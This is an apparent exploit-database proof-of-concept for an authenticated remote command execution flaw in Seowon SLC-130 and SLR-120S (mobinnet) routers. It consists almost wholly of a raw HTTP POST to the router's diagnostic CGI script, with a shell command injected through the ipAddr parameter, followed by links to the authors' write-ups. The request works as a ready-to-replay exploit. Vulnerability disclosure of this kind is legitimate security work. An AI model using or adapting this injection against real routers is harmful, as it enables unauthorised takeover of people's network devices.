********************************************************* #Exploit Title: Seowon SLC-130 And SLR-120S (mobinnet) Routers RCE #Date: 2020-08-10 #Exploit Author: Ali Jalalat , Milad Soltanian (maj0rmil4d) #Vendor Homepage: http://www.seowonintech.co.kr/ #Category:webapps #Tested On: windows 10, Firefox Proof of Concept: *** Hello there , after login in router you can go to diagnosis page and get the RCE by the following request *** *** The vuln parameter is ipAddr *** POST /cgi-bin/system_log.cgi? HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 235 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/diagnostic.html?t=201802140812 Cookie: product=cpe; cpe_buildTime=201802140812; vendor=mobinnet; connType=lte; modelCode=SLC_130G; cpe_multiPdnEnable=1; cpe_lang=en; cpe_voip=0; cpe_cwmpc=1; cpe_snmp=1; filesharing=0; cpe_switchEnable=0; cpe_vlanEnable=1; cpe_IPv6Enable=1; cpe_foc=0; cpe_vpn=1; cpe_httpsEnable=0; cpe_internetMTUEnable=0; cpe_sleepMode=0; cpe_wlanEnable=1; cpe_simRestriction=0; cpe_opmode=1; sessionTime=1596644084662; cpe_login=admin; _lang= Command=Diagnostic&traceMode=trace&reportIpOnly=0&pingPktSize=56&pingTimeout=30&pingCount=4&ipAddr=;id&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&btnApply=Apply&T=1596644096617 ********************************************************* for more info please visit the following links : Persian : https://virgool.io/@maj0rmil4d/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%DA%A9%D8%B4%D9%81-%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D8%AF%D8%B1-%D9%85%D9%88%D8%AF%D9%85%D8%B1%D9%88%D8%AA%D8%B1-seowon-slc-130-iggc9ij95vxz English : https://medium.com/@maj0rmil4d/seowon-slc-130-router-rce-unlocking-writeup-90854ae2eb0e contact : https://twitter.com/AliJalalat https://twitter.com/maj0rmil4d *********************************************************